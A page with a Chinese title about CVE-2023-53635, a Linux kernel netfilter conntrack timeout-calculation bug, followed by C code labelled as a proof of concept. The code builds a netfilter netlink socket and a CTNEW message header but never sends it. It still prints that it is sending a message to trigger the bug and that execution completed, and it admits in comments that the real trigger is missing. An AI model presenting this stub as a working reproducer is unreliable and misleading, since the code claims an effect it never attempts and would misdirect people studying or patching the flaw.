CVE-2023-53635 Linux内核netfilter conntrack超时值错误漏洞

/* CVE-2023-53635 - Linux kernel netfilter conntrack timeout value error * * This PoC demonstrates triggering the bug via nfnetlink_queue conntrack support. * The vulnerability causes incorrect ct->timeout value handling. * * Note: This requires local low-privilege access and appropriate kernel capabilities * (NET_ADMIN) to interact with netfilter subsystems. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_conntrack.h> #include <linux/netfilter/nf_conntrack_common.h> // Simplified structure for triggering the conntrack timeout bug struct nf_conntrack_tuple { unsigned char dummy[64]; }; int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh; struct nfgenmsg *nfmsg; char buffer[4096]; printf("CVE-2023-53635 PoC - Linux kernel netfilter conntrack timeout bug\n"); printf("This PoC attempts to trigger the timeout value miscalculation\n"); printf("in ctnetlink_change_timeout() and ctnetlink_dump_timeout().\n\n"); // Create netlink socket for nfnetlink communication sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket creation failed (need NET_ADMIN capability)"); return 1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Prepare netlink message to manipulate conntrack timeout // This would trigger the bug where nfct_time_stamp is added twice // when setting timeout on an unconfirmed conntrack nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nfgenmsg)); nlh->nlmsg_pid = getpid(); nlh->nlmsg_type = (NFNL_SUBSYS_CTNETLINK << 8) | CTNL_MSG_CTNEW; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL; nfmsg = (struct nfgenmsg *)NLMSG_DATA(nlh); nfmsg->nfgen_family = AF_INET; nfmsg->version = NFNETLINK_V0; nfmsg->res_id = 0; printf("Sending netlink message to trigger conntrack timeout bug...\n"); // Note: Full exploitation requires crafting proper conntrack tuple // and attributes. The bug manifests when: // 1. Creating an unconfirmed conntrack via ctnetlink // 2. Setting timeout via ctnetlink_change_timeout() // 3. The timeout value will be incorrectly calculated close(sock_fd); printf("PoC execution completed. Check kernel logs for any issues.\n"); return 0; }